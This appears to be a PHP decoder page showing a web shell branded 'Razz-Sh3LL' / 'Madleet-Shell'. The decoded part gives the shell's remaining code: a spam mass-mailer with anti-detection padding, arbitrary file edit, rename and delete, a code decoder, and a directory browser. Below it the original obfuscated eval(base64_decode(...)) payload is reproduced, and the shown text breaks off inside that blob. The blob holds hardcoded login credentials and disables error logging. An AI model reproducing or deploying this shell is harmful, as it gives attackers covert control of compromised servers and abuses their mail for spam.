<input type="text" class="cmd" name="subject" value="Just testing my Fucking Skillz!" onfocus="if(this.value == \'Just testing my Fucking Skillz!\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'Just testing my Fucking Skillz!\';" />
</td>
</tr>
<tr>
<td class="title">
No. of Times
</td>
<td>
<input class="cmd" name="times" value="100" onfocus="if(this.value == \'100\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'100\';"/>
</td>
</tr>
<tr>
<td>
Pad your message (Less spam detection)
</td>
<td>
<input type="checkbox" name="padding"/>
</td>
</tr>
<tr>
<td colspan="2">
<textarea name="message" cols="173" rows="10" class="cmd">Madleet-Shell Rocks!!</textarea>
</td>
</tr>
<tr>
<td rowspan="2">
<input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="own" value="Send! :D"/>
</td>
</tr>
</table>
</form>
<?php
}
}
//Mass Mailer
else if(isset($_GET[\'mail\']))
{
if(
isset($_GET[\'to\']) &&
isset($_GET[\'from\']) &&
isset($_GET[\'subject\']) &&
isset($_GET[\'message\'])
)
{
if(mail($_GET[\'to\'],$_GET[\'subject\'],$_GET[\'message\'],"From:".$_GET[\'from\']))
{
echo "<p class=\'alert\'>Mail Sent!</p>";
}
else
{
echo "<p class=\'alert\'>Some Error Occured!</p>";
}
}
else
{
?>
<form method="GET">
<input type="hidden" name="mail" />
<table id="margins">
<tr>
<td width="100" class="title">
From
</td>
<td>
<input class="cmd" name="from" value="[email protected]" onfocus="if(this.value == \'[email protected]\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'[email protected]\';"/>
</td>
</tr>
<tr>
<td class="title">
To
</td>
<td>
<input class="cmd" name="to" value="[email protected],[email protected]" onfocus="if(this.value == \'[email protected],[email protected]\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'[email protected],[email protected]\';"/>
</td>
</tr>
<tr>
<td class="title">
Subject
</td>
<td>
<input type="text" class="cmd" name="subject" value="Just testing my Fucking Skillz!" onfocus="if(this.value == \'Just testing my Fucking Skillz!\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'Just testing my Fucking Skillz!\';" />
</td>
</tr>
<tr>
<td colspan="2">
<textarea name="message" cols="173" rows="10" class="cmd">All i remember are those lonely nights when i was defacing those insecure websites!</textarea>
</td>
</tr>
<tr>
<td rowspan="2">
<input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="own" value="Send! :D"/>
</td>
</tr>
</table>
</form>
<?php
}
}
// Edit File
else if(isset($_POST[\'file\']) &&
isset($_POST[\'content\']) )
{
if(is_dir($_POST[\'file\']))
{
header("location:".$self."?dir=".$_POST[\'file\']);
}
if(file_exists($_POST[\'file\']))
{
$handle = fopen($_POST[\'file\'],"w");
fwrite($handle,$_POST[\'content\']);
echo "Your changes were Successfully Saved!";
}
else
{
echo "<p class=\'alert\'>File Name Specified does not exists!</p>";
}
}
// PHP decoder
else if(isset($_GET[\'decode\']))
{
$content = "";
if(isset($_POST[\'content\']))
{
$content = htmlspecialchars(gzinflate(base64_decode($_POST[\'content\'])));
}
?>
<form method="POST">
<textarea name="content" rows="20" cols="100" class="cmd"><?php echo $content;?></textarea><br />
<input name="save" type="Submit" value="Decode" class="own" id="spacing"/>
</form>
<?php
}
//open file
else if(isset($_GET[\'open\']))
{
?>
<form method="POST" action="<?php echo $self;?>" >
<table>
<tr>
<td>File </td><td> : </td><td><input value="<?php echo $_GET[\'open\'];?>" class="cmd" name="file" /></td>
</tr>
<tr>
<td>Size </td><td> : </td><td><input value="<?php echo filesize($_GET[\'open\']);?>" class="cmd" /></td>
</tr>
</table>
<textarea name="content" rows="20" cols="100" class="cmd"><?php
$content = htmlspecialchars(file_get_contents($_GET[\'open\']));
if($content)
{
echo $content;
}
else if(function_exists(\'fgets\') && function_exists(\'fopen\') && function_exists(\'feof\'))
{
fopen($_GET[\'open\']);
while(!feof())
{
echo htmlspecialchars(fgets($_GET[\'open\']));
}
}
?>
</textarea><br />
<input name="save" type="Submit" value="Save Changes" class="own" id="spacing"/>
</form>
<?php
}
//Rename
else if(isset($_GET[\'rename\']))
{
if(isset($_GET[\'to\']) && isset($_GET[\'rename\']))
{
if(rename($_GET[\'rename\'],$_GET[\'to\']) == FALSE)
{
?>
<big><p class="blink">Cant rename the file specified! Please check the file-name , Permissions and try again!</p></big>
<?php
}
else
{
?>
<big><p class="blink">File Renamed , Return <a href="<?php echo $self;?>">Here</a></p></big>
<?php
}
}
else
{
?>
<form method="GET" action="<?php echo $self;?>" >
<table>
<tr>
<td>File </td><td> : </td><td><input value="<?php echo $_GET[\'rename\'];?>" class="cmd" name="rename" /></td>
</tr>
<tr>
<td>To </td><td> : </td><td><input value="<?php echo $_GET[\'rename\'];?>" class="cmd" name="to" /></td>
</tr>
</table>
<input type="Submit" value="Rename :D" class="own" style="margin-left: 160px;padding: 5px;"/>
</form>
<?php
}
}
// No request made
// Display home page
else
{
$dir = getcwd();
if(isset($_GET[\'dir\']))
{
$dir = $_GET[\'dir\'];
}
?>
<table id="margins">
<tr>
<form method="GET" action="<?php echo $self;?>">
<td width="100">PWD</td><td width="410"><input name="dir" class="cmd" id="mainInput" value="<?php echo $dir;?>"/></td>
<td><input type="submit" value="G0!!" class="own" /></td>
</form>
</tr>
</table>
<table id="margins" class="files">
<tr>
<th class="header" width="500px">Name</th>
<th width="100px" class="header">Size</th>
<th width="100px" class="header">Permissions</th>
<th width="100px" class="header">Delete</th>
<th width="100px" class="header">Rename</th>
</tr>
<?php
if(isset($_GET[\'delete\']))
{
if(unlink(($_GET[\'delete\'])) == FALSE)
{
echo "<p id=\'margins\' style=\'color:red;\'>Could Not Delete the file Specified!</p>";
}
}
if(is_dir($dir))
{
$handle = opendir($dir);
if($handle != FALSE)
{
if($dir[(strlen($dir)-1)] != $SEPARATOR){$dir = $dir.$SEPARATOR;}
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..")
{
//echo $file;
//f its a directory
if(is_dir($dir.$file))
{
?>
<tr>
<td class=\'dir\'><a href=\'<?php echo $self ?>?dir=<?php echo $dir.$file ?>\'>/<?php echo $file ?></a></td>
<td class=\'info\'>DIR</td>
<td class=\'info\'>DIR</td>
<td></td>
<font color="white"><td class="info"><a href="<?php echo $self;?>?rename=<?php echo $dir.$file;?>">Rename</a></td>
</tr>
<?php
}
//Its a file
else
{
?>
<tr>
<td class=\'file\'><a href=\'<?php echo $self ?>?open=<?php echo $dir.$file ?>\'><?php echo $file ?></a></td>
<td class=\'info\'><?php echo HumanReadableFilesize(filesize($dir.$file));?></td>
<td class=\'info\'><?php echo getFilePermissions($dir.$file);?></td>
<td class="info"><a href="<?php echo $self;?>?delete=<?php echo $dir.$file;?>">Delete</a></td>
<td class="info"><a href="<?php echo $self;?>?rename=<?php echo $dir.$file;?>">Rename</a></td>
</tr> </font>
<?php
}
}
}
closedir($handle);
}
}
else
{
echo "<p class=\'alert\' id=\'margins\'>".$_GET[\'dir\']." is <b>NOT</b> a Valid Directory!<br /></p>";
}
?>
</table>
<?php
}
//------------------------------------------------------------------------------------------------
?>
<?php
}
// End Shell
//-------------------------------------------------------------------------------------------------
?>
<br /><br /><br /><br />
<div class="end">
<p align="center"><font face="Iceland" style="color:#00FFFF;text-shadow:0px 1px 5px #000;font-size:30px">Coded By Razz @ <font face="Iceland" style="color:#00FFFF;text-shadow:0px 1px 5px #000;font-size:30px"><a href="" target="_blank" style="color: #00FFFF">[ Click Here ]</font><br>
</font>
<br><br>
<font face="Iceland" style="color:red;text-shadow:0px 1px 5px #000;font-size:30px"><span></span>[email protected]<script data-cfhash=\'f9e31\' type="text/javascript">
/* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("data-cfhash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}t.parentNode.removeChild(t);}}catch(u){}}()/* ]]> */</script></font><br><br>
<br>
<font face="Iceland" style="color:lime;text-shadow:0px 1px 5px #000;font-size:30px"><a href="https://in.linkedin.com/company/razzsecurity" target="_blank" style="color: lime">Razz - Dz </font><br>
<font face="Iceland" style="color:lime;text-shadow:0px 1px 5px #000;font-size:30px"><a href="https://web.facebook.com/Server.Clean71" target="_blank" style="color: lime">Official Page</font><br>
</script>
</p>
</div>
</body>
</html>'
Did this file decode correctly?
Original Code
<?php
eval("?>".base64_decode("PD9waHAgCgokdXNlciA9ICJSYXp6IjsgCiRwYXNzID0gInJhenp3YXJkeiI7IAoKZXJyb3JfcmVwb3J0aW5nKDApOyAKaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsgCgoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSBTb21lIGhlYWRlciBGdW5jdGlvbnMgKE5lZWQgdG8gYmUgb24gdG9wKSAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cIAoKLyoqKioqKioqKioqKioqKiogRGVmaW5lcyAqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovIAoKJGxvY2sgPSAib24iOyAvLyBzZXQgdGhpcyB0byBvZmYgaWYgeW91IGRvbnQgbmVlZCB0aGUgbG9naW4gcGFnZSAKJHRyYWNlYmFja0ZlYXR1cmUgPSAib24iOyAvLyBzZXQgdGhpcyBmZWF0dXJlIHRvIGVuYWJsZSBlbWFpbCBhbGVydHMgCiRvd25lckVtYWlsID0gIkNhbG1mZXJtYWphQGdtYWlsLmNvbSI7IC8vIENoYW5nZSB0aGlzIHRvIHlvdXIgZW1haWwgLCBUaGlzIGVtYWlsIGlzIHVzZWQgdG8gZGVsaXZlciB0cmFjZWJhY2tzIGFib3V0IHlvdXIgc2hlbGwgCiR1cmwgPSAoIWVtcHR5KCRfU0VSVkVSWydIVFRQUyddKSkgPyAiaHR0cHM6Ly8iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddIDogImh0dHA6Ly8iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddOyAKJHBocFZlcnNpb249cGhwdmVyc2lvbigpOyAKJHNlbGY9JF9TRVJWRVJbIlBIUF9TRUxGIl07IC8vIFdoZXJlIGFtIGkgCiRzbSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsgCiRTRVBBUkFUT1IgPSAnLyc7IC8vIERlZmF1bHQgRGlyZWN0b3J5IHNlcGFyYXRvciAKJG9zID0gIk4vRCI7IAppZihzdHJpc3RyKHBocF91bmFtZSgpLCJXaW5kb3dzIikpIAp7IAogICAgICAgICRTRVBBUkFUT1IgPSAnXFwnOyAKICAgICAgICAkb3MgPSAiV2luZG93cyI7IAp9IAplbHNlIGlmKHN0cmlzdHIocGhwX3VuYW1lKCksIkxpbnV4IikpIAp7IAogICAgICAgICRvcyA9ICJMaW51eCI7IAp9IAoKCi8vKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8gCgovLyAtLS0tLS0tLS0tLS0tLSBUcmFjZWJhY2sgRnVuY3Rpb25zIAoKZnVuY3Rpb24gc2VuZExvZ2luQWxlcnQoKSAKeyAKICAgIGdsb2JhbCAkb3duZXJFbWFpbDsgCiAgICBnbG9iYWwgJHVybDsgCiAgICAkYWNjZXNlZElwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107IAogICAgJHJhbmRvbUludCA9IHJhbmQoMCwxMDAwMDAwKTsgICAgICAgICAgICMgdG8gYXZvaWQgaWQgYmxvY2tpbmcgCiAgICAkZnJvbSA9ICJSYXp6LVNoM0xMJHJhbmRvbUludEBmYmkuZ292IjsgIAogICAgIAogICAgLy9lY2hvICRmcm9tOyAKICAgICAKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnbWFpbCcpKSAKICAgIHsgCiAgICAgICAgJHN1YmplY3QgPSAiU2hlbGwgQWNjZXNzZWQgLS0gUmF6ei1TaDNMTCAtLSI7IAogICAgICAgICRtZXNzYWdlID0gIiAKSGV5IE93bmVyICwgCiAgICAgICAgIAogICAgICAgIFlvdXIgU2hlbGwoTWFkbGVldC1TaGVsbCkgbG9jYXRlZCBhdCAkdXJsIHdhcyBhY2Nlc3NlZCBieSAkYWNjZXNlZElwIAogICAgICAgICAKICAgICAgICBJZiBpdHMgbm90IHlvdSA6LSAKICAgICAgICAgCiAgICAgICAgMS4gUGxlYXNlIGNoZWNrIGlmIHRoZSBzaGVsbCBpcyBzZWN1cmVkLiAKICAgICAgICAyLiBDaGFuZ2UgeW91ciB1c2VyIG5hbWUgYW5kIFBhc3N3b3JkLiAKICAgICAgICAzLiBDaGVjayBpZiBsb2NrIGlzIDBuISAKICAgICAgICBhbmQgS2ljayB0aGF0ICoqKioqKiBvdXQhIAogICAgICAgICAKICAgICAgICBUaGFua2luZyBZb3UgCiAgICAgICAgIApZb3VycyBGYWl0aGZ1bGx5IApSYXp6LVNoM0xMCiAgICAgICAgIjsgCiAgICAgICAgbWFpbCgkb3duZXJFbWFpbCwkc3ViamVjdCwkbWVzc2FnZSwnRnJvbTonLiRmcm9tKTsgCiAgICB9IAp9IAoKLy8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gCgoKaWYoZnVuY3Rpb25fZXhpc3RzKCdzZXNzaW9uX3N0YXJ0JykgJiYgJGxvY2sgPT0gJ29uJykgCnsgCiAgICBzZXNzaW9uX3N0YXJ0KCk7IAp9IAplbHNlIAp7IAogICAgLy8gVGhlIGxvY2sgd2lsbCBiZSBzZXQgdG8gJ29mZicgaWYgdGhlIHNlc3Npb25fc3RhcnQgZnVjdGlvbiBpcyBkaXNhYmxlZCBpLmUgaWYgc2Vzc2lvbnMgYXJlIG5vdCBzdXBwb3J0ZWQgIAogICAgJGxvY2sgPSAnb2ZmJzsgCn0gCgovL2xvZ291dCAKCmlmKGlzc2V0KCRfR0VUWydsb2dvdXQnXSkgJiYgJGxvY2sgPT0gJ29uJykgCnsgCiAgICAkX1NFU1NJT05bJ2F1dGhlbnRpY2F0ZWQnXSA9IDA7IAogICAgc2Vzc2lvbl9kZXN0cm95KCk7IAogICAgaGVhZGVyKCJsb2NhdGlvbjogIi4kX1NFUlZFUlsnUEhQX1NFTEYnXSk7IAp9IAoKaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsgCgoKCi8qKioqKioqKioqKioqKioqKiBSZXN0b3JpbmcgKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8gCgoKaW5pX3Jlc3RvcmUoInNhZmVfbW9kZV9pbmNsdWRlX2RpciIpOyAKaW5pX3Jlc3RvcmUoInNhZmVfbW9kZV9leGVjX2RpciIpOyAKaW5pX3Jlc3RvcmUoImRpc2FibGVfZnVuY3Rpb25zIik7IAppbmlfcmVzdG9yZSgiYWxsb3dfdXJsX2ZvcGVuIik7IAppbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7IAppbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7IAoKaWYoZnVuY3Rpb25fZXhpc3RzKCdpbmlfc2V0JykpIAp7IAogICAgaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsgIC8vIE5vIGFsYXJtaW5nIGxvZ3MgCiAgICBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsgICAgLy8gTm8gbG9nZ2luZyBvZiBlcnJvcnMgCiAgICBpbmlfc2V0KCdmaWxlX3VwbG9hZHMnLDEpOyAgLy8gRW5hYmxlIGZpbGUgdXBsb2FkcyAKICAgIGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsMSk7ICAgLy8gYWxsb3cgdXJsIGZvcGVuICAKfSAKCmVsc2UgCnsgCiAgICBpbmlfYWx0ZXIoJ2Vycm9yX2xvZycsTlVMTCk7IAogICAgaW5pX2FsdGVyKCdsb2dfZXJyb3JzJywwKTsgCiAgICBpbmlfYWx0ZXIoJ2ZpbGVfdXBsb2FkcycsMSk7IAogICAgaW5pX2FsdGVyKCdhbGxvd191cmxfZm9wZW4nLDEpOyAKfSAKCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gCgoKPz4gCjxodG1sPiAKPGhlYWQ+IAo8dGl0bGU+IlJhenotU2gzTEwiIHwgTVJYIHwgRHo8L3RpdGxlPiAKCgo8c3R5bGU+IAoKLyogCj09PT09PT09PT09PT09PT09PT09PT09PT09ICAgICAKICAgIENTUyBTZWN0aW9uIAo9PT09PT09PT09PT09PT09PT09PT09PT09PSAKKi8gCgoqeyAKICAgIHBhZGRpbmc6MDsgCiAgICBtYXJnaW46MDsgCn0gCgouYWxlcnQgCnsgCiAgICBiYWNrZ3JvdW5kOnJlZDsgCiAgICBjb2xvcjp3aGl0ZTsgCiAgICBmb250LXdlaWdodDpib2xkOyAKfSAKdGQuaW5mbyAKeyAKICAgIHdpZHRoOjBweDsgCn0gCgouYmluZCAgCnsgCiAgICBib3JkZXI6IDFweCBzb2xpZCAjMzMzMzMzOyAKICAgIG1hcmdpbjogMTVweCBhdXRvIDA7IAogICAgZm9udC1zaXplOiBzbWFsbDsgCn0gCgpkaXYuZW5kICogCnsgCiAgICBmb250LXNpemU6c21hbGw7IAp9IAoKZGl2LmVuZCAgCnsgCiAgICB3aWR0aDoxMDAlOyAKICAgIGJhY2tncm91bmQ6IzIyMjsgCn0gCgpwLmJsaW5rIAp7IAogICAgdGV4dC1kZWNvcmF0aW9uOiBibGluazsgCn0gCgpib2R5ICAKeyAKICAgIGJhY2tncm91bmQtY29sb3I6YmxhY2s7IAogICAgY29sb3I6cmdiKDM1LDE4MiwzOSk7IAogICAgZm9udC1mYW1pbHk6VGFob21hLFZlcmRhbmEsQXJpYWw7IAogICAgZm9udC1zaXplOiBzbWFsbDsgCn0gCgppbnB1dC5vd24geyAKICAgIGJhY2tncm91bmQtY29sb3I6ICMwMDQ4NDg7IAogICAgY29sb3I6IHdoaXRlOyAKICAgIGJvcmRlciA6IDFweCBzb2xpZCAjRkYwMDAwOyAKfSAKCmJsb2NrcXVvdGUuc21hbGwgCnsgCiAgICBmb250LXNpemU6IHNtYWxsZXI7IAogICAgY29sb3I6IHNpbHZlcjsgCiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7IAp9IAoKdGFibGUuZmlsZXMgCnsgCiAgICBib3JkZXItc3BhY2luZzogMTBweDsgCiAgICBmb250LXNpemU6IHNtYWxsOyAKfSAKCmgxIHsgCiAgICBwYWRkaW5nOiA0cHg7IAogICAgcGFkZGluZy1ib3R0b206IDBweDsgCiAgICBtYXJnaW4tcmlnaHQgOiA1cHg7IAp9IApkaXYubG9nbyAKeyAKICAgIGJvcmRlci1yaWdodDogMXB4ICMxOWQwZDA7IAp9IApkaXYuaGVhZGVyIAp7IAogICAgcGFkZGluZy1sZWZ0OiA1cHg7IAogICAgZm9udC1zaXplOiBzbWFsbDsgCiAgICB0ZXh0LWFsaWduOiBsZWZ0OyAKfSAKZGl2Lm5hdiAKeyAKICAgIG1hcmdpbi10b3A6MXB4OyAKICAgIGhlaWdodDozMHB4OyAKICAgIGJhY2tncm91bmQtY29sb3I6ICNGRjAwMDA7IAp9IApkaXYubmF2IHVsIAp7IAogICAgbGlzdC1zdHlsZTogbm9uZTsgCiAgICBwYWRkaW5nOiA0cHg7IAp9IApkaXYubmF2IGxpIAp7IAogICAgZmxvYXQ6IGxlZnQ7IAogICAgbWFyZ2luLXJpZ2h0OiAxMHB4OyAKICAgIHRleHQtYWxpZ246Y2VudGVyOyAKfSAKdGV4dGFyZWEuY21kIAp7IAogICAgYm9yZGVyIDogMXB4IHNvbGlkICMxMTE7IAogICAgYmFja2dyb3VuZC1jb2xvciA6ICMwMDQ4NDg7IAogICAgZm9udC1mYW1pbHk6IFNoZWxsOyAKICAgIGNvbG9yIDogd2hpdGU7IAogICAgbWFyZ2luLXRvcDogMTBweDsgCiAgICBmb250LXNpemU6c21hbGw7IAp9IAoKaW5wdXQuY21kIAp7IAogICAgYmFja2dyb3VuZC1jb2xvcjpibGFjazsgCiAgICBjb2xvcjogd2hpdGU7IAogICAgd2lkdGg6IDQwMHB4OyAKICAgIGJvcmRlciA6IDFweCBzb2xpZCAjRkYwMDAwOyAKCn0gCnRkLm1haW50ZXh0IAp7IAogICAgZm9udC1zaXplOiBsYXJnZTsgCn0gCiNtYXJnaW5zIAp7IAogICAgbWFyZ2luLWxlZnQ6IDEwcHg7IAogICAgbWFyZ2luLXRvcDogMTBweDsgCiAgICBjb2xvcjp3aGl0ZTsgCn0gCnRhYmxlLnRvcCAKeyAKICAgIGJvcmRlci1ib3R0b206IDFweCAjMTZmNjAxOyAKICAgIHdpZHRoOiAxMDAlOyAKfSAKI2JvcmRlcnMgCnsgCiAgICBib3JkZXItdG9wIDogMXB4ICMxNmY2MDE7IAogICAgYm9yZGVyLWxlZnQ6MXB4ICMxNmY2MDE7IAogICAgYm9yZGVyLWJvdHRvbTogMXB4ICMxNmY2MDE7IAogICAgYm9yZGVyLXJpZ2h0OiAxcHggIzE2ZjYwMTsgCiAgICBtYXJnaW4tYm90dG9tOjA7IAp9IAp0ZC5maWxlIGEgLCAuZmlsZSBhIAp7IAogICAgY29sb3IgOiBhcXVhOyAKICAgIHRleHQtZGVjb3JhdGlvbjpub25lOyAKfSAKYS5kaXIgCnsgCiAgICBjb2xvcjp3aGl0ZTsgCiAgICBmb250LXdlaWdodDpib2xkOyAKICAgIHRleHQtZGVjb3JhdGlvbjpub25lOyAKfSAKdGQuZGlyIGEgCnsgCiAgICBjb2xvciA6IHdoaXRlOyAKICAgIHRleHQtZGVjb3JhdGlvbjpub25lOyAKfSAKdGQuZG93bmxvYWQsdGQuZG93bmxvYWQyIAp7IAogICAgY29sb3I6IzAwNDg0ODsgCn0gCiNzcGFjaW5nIAp7IAogICAgcGFkZGluZzoxMHB4OyAKICAgIG1hcmdpbi1sZWZ0OjIwMHB4OyAKfSAKdGguaGVhZGVyIAp7IAogICAgYmFja2dyb3VuZDogbm9uZSByZXBlYXQgc2Nyb2xsIDAgMCAjMTkxOTE5OyAKICAgIGNvbG9yOiB3aGl0ZTsgCiAgICBib3JkZXItYm90dG9tIDogMXB4IHNvbGlkICMzMzMzMzM7IAp9IApwLndhcm5pbmcgCnsgCiAgICBiYWNrZ3JvdW5kIDogcmVkOyAKICAgIGNvbG9yOiB3aGl0ZTsgCn0gCgovKiAKCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tQ1NTIEVORC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAKCiovIAo8L3N0eWxlPiAKPC9oZWFkPiAKCjxib2R5IHRleHQ9InJnYigzOSwyNDUsMTApIiBiZ2NvbG9yPSJibGFjayI+IAo8P3BocCAKCmlmKGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgJGxvY2sgPT0gJ29uJykgCnsgCiAgICBpZiggJF9QT1NUWyd1c2VyJ10gPT0gJHVzZXIgJiYgCiAgICAgICAgICRfUE9TVFsncGFzcyddID09ICRwYXNzICkgCiAgICB7IAogICAgICAgICAgICAkX1NFU1NJT05bJ2F1dGhlbnRpY2F0ZWQnXSA9IDE7IAogICAgICAgICAgICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0gVHJhY2ViYWNrcyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAKICAgICAgICAgICAgaWYoJHRyYWNlYmFja0ZlYXR1cmUgPT0gJ09uJykgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICBzZW5kTG9naW5BbGVydCgpOyAKICAgICAgICAgICAgfSAKICAgICAgICAgICAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIAogICAgfSAKfSAKCmlmKCRsb2NrID09ICdvZmYnKSAKez8+IAogICAgPHAgY2xhc3M9Indhcm5pbmciPjxiPkxvY2sgaXMgU3dpdGNoZWQgT2ZmISAsIFRoZSBzaGVsbCBjYW4gYmUgYWNjZXNzZWQgYnkgYW55b25lITwvYj48L3A+IAo8P3BocCAKfSAKCmlmKCRsb2NrID09ICdvbicgJiYgKCFpc3NldCgkX1NFU1NJT05bJ2F1dGhlbnRpY2F0ZWQnXSkgfHwgJF9TRVNTSU9OWydhdXRoZW50aWNhdGVkJ10hPTEpICkgCnsgCgo/PiAKPHRhYmxlPiAKICAgIDx0Ym9keT4gCiAgICAgICAgPHRyPgogICAgICAgICAgICAgCiAgICAgICAgPHByZT4gCjxjZW50ZXI+PGZvbnQgY29sb3I9Ik9yYW5nZSI+IAo8Yj48dGl0bGU+WyFdIFJhenogLSBTaGVMTDwvdGl0bGU+CjxsaW5rIGhyZWY9J2h0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PUljZWxhbmQnIHJlbD0nc3R5bGVzaGVldCcgdHlwZT0ndGV4dC9jc3MnPgo8c3R5bGU+Ym9keXtjdXJzb3I6dXJsKCIuLi93d3cubWFkbGVldHMuY29tL2VsaGFja2VyLmN1ciIpLGF1dG87fWh0bWx7ZGlzcGxheTp0YWJsZTtoZWlnaHQ6MTAwJTt3aWR0aDoxMDAlO31ib2R5e2Rpc3BsYXk6dGFibGUtcm93O31ib2R5e2Rpc3BsYXk6dGFibGUtY2VsbDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7dGV4dC1hbGlnbjpjZW50ZXI7fWE6bGlua3t0ZXh0LWRlY29yYXRpb246bm9uZTt9PC9zdHlsZT4KPGNlbnRlcj48aW1nIHNyYz0iaHR0cHM6Ly9pLnRvcDR0b3AuaW8vcF8yNjc2MXpsczcxLnBuZyIgYWx0PSJsb2dvIj4KPGJyPjxicj48YnI+Cjxib2R5IGJnY29sb3I9J2JsYWNrJz4KPGZvbnQgZmFjZT0iSWNlbGFuZCIgc3R5bGU9ImNvbG9yOnJlZDt0ZXh0LXNoYWRvdzowcHggMXB4IDVweCAjMDAwO2ZvbnQtc2l6ZTo2MHB4Ij5bIV1PZmZpY2lhbCBSYXp6IFNoZUxMPC9mb250Pgo8L2NlbnRlcj4KPGJyPgo8Zm9udCBmYWNlPSJJY2VsYW5kIiBzdHlsZT0iY29sb3I6bGltZTt0ZXh0LXNoYWRvdzowcHggMXB4IDVweCAjMDAwO2ZvbnQtc2l6ZTozMHB4Ij48L2ZvbnQ+IDwvY2VudGVyPgo8L2I+IAo8L3ByZT4gCiAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgIAogICAgICAgICAgICAgICAgPCEtLSA8aDE+PD9waHAgLy8gZWNobyAkZ3JlZXRpbmc7Pz48L2gxPiAgCiAgICAgICAgICAgICAgICA8aW1nIHNyYz0iTG9nb18wMy5wbmciIGNsYXNzPSJpbWFnZUZvcm0iIC8+IC0tPiAKICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+Ij4gCiAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0idXNlciIgdmFsdWU9IlVzZXJuYW1lIi8+IDxpbnB1dCBuYW1lPSJwYXNzIiB0eXBlPSJwYXNzd29yZCIgdmFsdWU9IlBhc3N3b3JkIi8+IDxpbnB1dCBjbGFzcz0ib3duIiB0eXBlPSJTdWJtaXQiIHZhbHVlPSJPd24gVGhpcyBCb3ghIi8+IAogICAgICAgICAgICAgICAgPC9mb3JtPiAKICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgPC90cj4gCiAgICA8L3Rib2R5PiAKPC90YWJsZT4gCjw/cGhwIAp9IAovLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gV2UgYXJlIGF1dGhlbnRpY2F0ZWQgbm93LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAKLy9MYXVuY2ggdGhlIHNoZWxsIAplbHNlICAKeyAKICAgIC8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSBGdWN0aW9ucyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gCgogICAgZnVuY3Rpb24gc2hvd0RyaXZlcygpIAogICAgeyAKICAgICAgICBnbG9iYWwgJHNlbGY7IAogICAgICAgIGZvcmVhY2gocmFuZ2UoJ0EnLCdaJykgYXMgJGRyaXZlKSAKICAgICAgICB7IAogICAgICAgICAgICBpZihpc19kaXIoJGRyaXZlLic6XFwnKSkgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICA/PiAKICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJkaXIiIGhyZWY9Jzw/cGhwIGVjaG8gJHNlb